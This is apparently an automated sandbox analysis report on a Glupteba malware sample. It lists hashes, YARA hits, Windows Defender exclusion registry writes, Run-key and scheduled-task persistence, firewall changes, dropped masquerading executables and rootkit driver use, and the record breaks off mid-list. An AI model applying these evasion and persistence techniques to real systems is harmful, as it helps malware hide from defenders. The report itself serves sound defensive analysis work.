Analysis
-
max time kernel
299s -
max time network
299s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
09/05/2024, 23:21
Static task
static1
Behavioral task
behavioral1
Sample
a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe
Resource
win7-20240221-en
General
-
Target
a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe
-
Size
4.2MB
-
MD5
0889b956c743e72a576267cecf611efb
-
SHA1
929cc7729bbdb623d56d3e99e1a27d5d7e28163d
-
SHA256
a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14
-
SHA512
35314ad1ffdfd1f65abba8fed97ccf371e62bbfb2e06d63e0ca2002fd401b54c0fcab50f3edf3ffe5def1f52cd1bf4ea46b1929635991d169c331e322de41786
-
SSDEEP
98304:YaQpezkUMTE1jG98FBE9/5ssyESeegfnf4lyOj6mN9jOyo0hkLN5:YJpe4BEU98Fs/etESKJ46WSVX
Malware Config
Signatures
-
Glupteba payload 30 IoCs
resource yara_rule behavioral2/memory/3660-294-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/1424-1010-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1730-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1739-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1741-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1743-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1745-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1747-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1749-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1751-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1753-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1755-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1757-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1759-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1761-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1763-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1765-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1767-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1769-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1771-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1773-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1775-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1777-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1779-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1781-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1783-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1785-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-1787-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-2278-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba behavioral2/memory/3188-2522-0x0000000000400000-0x0000000001DFA000-memory.dmp family_glupteba -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe = "0" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe -
Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 344 netsh.exe -
Executes dropped EXE 7 IoCs
pid Process 3188 csrss.exe 4820 injector.exe 5096 windefender.exe 4248 windefender.exe 2684 dcb505dc2b9d8aac05f4ca0727f5eadb.exe 3064 713674d5e968cbe2102394be0b2bae6f.exe 1472 1bf850b4d9587c1017a75a47680584c4.exe -
resource yara_rule behavioral2/memory/5096-1735-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/files/0x000800000001ac27-1734.dat upx behavioral2/memory/5096-1738-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/4248-1737-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/4248-1740-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/4248-1744-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/4248-1750-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/files/0x000b000000000699-2033.dat upx behavioral2/memory/2684-2034-0x0000000000400000-0x00000000008E1000-memory.dmp upx behavioral2/memory/2684-2040-0x0000000000400000-0x00000000008E1000-memory.dmp upx behavioral2/files/0x000500000000069d-2277.dat upx behavioral2/memory/3064-2279-0x00000000009D0000-0x000000000129D000-memory.dmp upx behavioral2/files/0x00060000000006ad-2519.dat upx behavioral2/memory/1472-2520-0x0000000000400000-0x00000000008E8000-memory.dmp upx behavioral2/memory/3064-2523-0x00000000009D0000-0x000000000129D000-memory.dmp upx behavioral2/memory/1472-2525-0x0000000000400000-0x00000000008E8000-memory.dmp upx -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe = "0" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (str) \REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" csrss.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
description ioc Process File opened for modification \??\WinMonFS csrss.exe -
Drops file in System32 directory 10 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
description ioc Process File opened (read-only) \??\VBoxMiniRdrDN a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File opened for modification C:\Windows\rss a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe File created C:\Windows\rss\csrss.exe a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3888 sc.exe -
pid Process 2584 powershell.exe 1100 powershell.exe 2476 powershell.exe 2536 powershell.exe 4136 powershell.exe 1344 powershell.exe 4952 powershell.exe 2136 powershell.exe 3140 powershell.exe 1956 powershell.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5084 schtasks.exe 1692 schtasks.exe -
GoLang User-Agent 2 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
description flow ioc HTTP User-Agent header 41 Go-http-client/1.1 HTTP User-Agent header 42 Go-http-client/1.1 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-105 = "Central Brazilian Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-141 = "Canada Central Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2631 = "Norfolk Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-751 = "Tonga Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-791 = "SA Western Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-652 = "AUS Central Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-12 = "Azores Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-661 = "Cen. Australia Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2632 = "Norfolk Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2322 = "Sakhalin Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1502 = "Turkey Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-692 = "Tasmania Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-241 = "Samoa Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-32 = "Mid-Atlantic Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-191 = "Mountain Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-334 = "Jordan Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-92 = "Pacific SA Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2531 = "Chatham Islands Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-81 = "Atlantic Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-372 = "Jerusalem Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-742 = "New Zealand Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time" a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-151 = "Central America Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4136 powershell.exe 4136 powershell.exe 4136 powershell.exe 3660 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 3660 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 1344 powershell.exe 1344 powershell.exe 1344 powershell.exe 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 4952 powershell.exe 4952 powershell.exe 4952 powershell.exe 2584 powershell.exe 2584 powershell.exe 2584 powershell.exe 2136 powershell.exe 2136 powershell.exe 2136 powershell.exe 3140 powershell.exe 3140 powershell.exe 3140 powershell.exe 1956 powershell.exe 1956 powershell.exe 1956 powershell.exe 4820 injector.exe 4820 injector.exe 4820 injector.exe 4820 injector.exe 4820 injector.exe 4820 injector.exe 3188 csrss.exe 3188 csrss.exe 4820 injector.exe 4820 injector.exe 4820 injector.exe 4820 injector.exe 4820 injector.exe 4820 injector.exe 3188 csrss.exe 3188 csrss.exe 4820 injector.exe 4820 injector.exe 4820 injector.exe 4820 injector.exe 3188 csrss.exe 3188 csrss.exe 4820 injector.exe 4820 injector.exe 4820 injector.exe 4820 injector.exe 4820 injector.exe 4820 injector.exe 4820 injector.exe 4820 injector.exe 4820 injector.exe -
Suspicious use of AdjustPrivilegeToken 15 IoCs
description pid Process Token: SeDebugPrivilege 4136 powershell.exe Token: SeDebugPrivilege 3660 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Token: SeImpersonatePrivilege 3660 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe Token: SeDebugPrivilege 1344 powershell.exe Token: SeDebugPrivilege 4952 powershell.exe Token: SeDebugPrivilege 2584 powershell.exe Token: SeDebugPrivilege 2136 powershell.exe Token: SeDebugPrivilege 3140 powershell.exe Token: SeDebugPrivilege 1956 powershell.exe Token: SeSystemEnvironmentPrivilege 3188 csrss.exe Token: SeSecurityPrivilege 3888 sc.exe Token: SeSecurityPrivilege 3888 sc.exe Token: SeDebugPrivilege 1100 powershell.exe Token: SeDebugPrivilege 2476 powershell.exe Token: SeDebugPrivilege 2536 powershell.exe -
Suspicious use of WriteProcessMemory 54 IoCs
description pid Process procid_target PID 3660 wrote to memory of 4136 3660 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 75 PID 3660 wrote to memory of 4136 3660 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 75 PID 3660 wrote to memory of 4136 3660 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 75 PID 1424 wrote to memory of 1344 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 80 PID 1424 wrote to memory of 1344 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 80 PID 1424 wrote to memory of 1344 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 80 PID 1424 wrote to memory of 1944 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 82 PID 1424 wrote to memory of 1944 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 82 PID 1944 wrote to memory of 344 1944 cmd.exe 84 PID 1944 wrote to memory of 344 1944 cmd.exe 84 PID 1424 wrote to memory of 4952 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 85 PID 1424 wrote to memory of 4952 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 85 PID 1424 wrote to memory of 4952 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 85 PID 1424 wrote to memory of 2584 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 87 PID 1424 wrote to memory of 2584 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 87 PID 1424 wrote to memory of 2584 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 87 PID 1424 wrote to memory of 3188 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 89 PID 1424 wrote to memory of 3188 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 89 PID 1424 wrote to memory of 3188 1424 a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe 89 PID 3188 wrote to memory of 2136 3188 csrss.exe 90 PID 3188 wrote to memory of 2136 3188 csrss.exe 90 PID 3188 wrote to memory of 2136 3188 csrss.exe 90 PID 3188 wrote to memory of 3140 3188 csrss.exe 96 PID 3188 wrote to memory of 3140 3188 csrss.exe 96 PID 3188 wrote to memory of 3140 3188 csrss.exe 96 PID 3188 wrote to memory of 1956 3188 csrss.exe 99 PID 3188 wrote to memory of 1956 3188 csrss.exe 99 PID 3188 wrote to memory of 1956 3188 csrss.exe 99 PID 3188 wrote to memory of 4820 3188 csrss.exe 101 PID 3188 wrote to memory of 4820 3188 csrss.exe 101 PID 5096 wrote to memory of 4564 5096 windefender.exe 108 PID 5096 wrote to memory of 4564 5096 windefender.exe 108 PID 5096 wrote to memory of 4564 5096 windefender.exe 108 PID 4564 wrote to memory of 3888 4564 cmd.exe 109 PID 4564 wrote to memory of 3888 4564 cmd.exe 109 PID 4564 wrote to memory of 3888 4564 cmd.exe 109 PID 3188 wrote to memory of 1100 3188 csrss.exe 111 PID 3188 wrote to memory of 1100 3188 csrss.exe 